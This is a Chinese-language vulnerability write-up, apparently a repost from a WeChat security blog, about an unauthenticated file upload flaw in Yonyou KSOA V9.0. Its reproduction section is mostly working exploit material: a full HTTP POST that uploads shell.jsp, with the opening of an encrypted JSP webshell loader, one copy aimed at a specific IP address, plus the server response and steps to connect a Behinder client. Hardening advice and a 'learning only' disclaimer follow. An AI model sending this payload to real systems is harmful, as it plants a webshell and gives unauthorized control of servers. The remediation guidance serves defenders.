漏洞说明

用友时空 KSOA 是用友网络科技股份有限公司建立在 SOA 理念指导下研发的新一代产品，其中 com.sksoft.bill.ImageUpload 存在前台文件上传漏洞，攻击者可以在不登陆的情况下上传恶意 Webshell，控制系统权限。

影响版本

```
KSOA V9.0
```

漏洞复现

payload:

```
POST /servlet/com.sksoft.bill.ImageUpload?filepath=/&filename=shell.jsp HTTP/1.1

Host: 202.103.56.167:81

Upgrade-Insecure-Requests: 1

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML,

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/we
```

```
Accept-Language: zh-CN,zh;q=0.9
Connection: close
Content-Length: 612
```

```
POST /servlet/com.sksoft.bill.ImageUpload?filepath=/&
filename=shell.jsp HTTP/1.1
Host: [redacted]
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64)
 AppleWebKit/537.36 (KHTML, like Gecko)
Chrome/113.0.5672.93 Safari/537.36
Accept:
text/html,application/xhtml+xml,application/xml;q=0.9
,image/avif,image/webp,image/apng,*/*;q=0.8,applicati
on/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
Content-Length: 612

<%@page import="
java.util.*,javax.crypto.*,javax.crypto.spec.*"%>
  <%!class U extends ClassLoader{U(ClassLoader
  c){super(c);}public Class g(byte []b){return
  super.defineClass(b,0,b.length);}}%>
```

```
1  HTTP/1.1 200 OK
2  Server: Apache-Coyote/1.1
3  Pragma: no-cache
4  Expires: 0
5  Content-Type: text/xml;charset=GBK
6  Vary: Accept-Encoding
7  Date: Fri, 02 Jun 2023 05:29:02 GMT
8  Connection: close
9
10 <root>
     /pictures/shell.jsp
   </root>
```


访问/pictures/shell.jsp即可，使用冰蝎连接

修复建议

1. 对上传文件类型进行验证，除在前端验证外在后端依然要做验证，后端可以进行扩展名检测，重命名文件，MIME类型检测以及限制上传文件的大小等限制来防御，或是将上传的文件其他文件存储服务器中。
2. 严格限制和校验上传的文件，禁止上传恶意代码的文件。
3. 建议使用 OSS 静态存储服务器来存储用户上传的文件。
4. 设置目录权限限制，禁止上传目录的执行权限。
5. 服务端采用白名单方式校验文件后缀，不建议采用黑名单方式校验后缀，黑名单方式校验可能导致攻击者利用文件特性、系统特性、黑名单不全等方式进行绕过攻击。
6. 服务端对上传文件进行重命名，防止利用目录跳转等方式控制上传目录。
7. 服务端使用系统函数来判断文件类型及文件内容是否合法。

本文章仅用于学习交流，不得用于非法用途

星标加关注，追洞不迷路

文章来源: http://mp.weixin.qq.com/s?__biz=MzkyMjE3MjEyNQ==&mid=2247486080&idx=1&sn=3d57ae0c747eda897b35a762c49a1fe4&chksm=c1f92532f68eac24d83080036607f9ab97c1cd5bfe88d67db57e19bb7121cd81644b0a1d5684#rd
如有侵权请联系:admin#unsafe.sh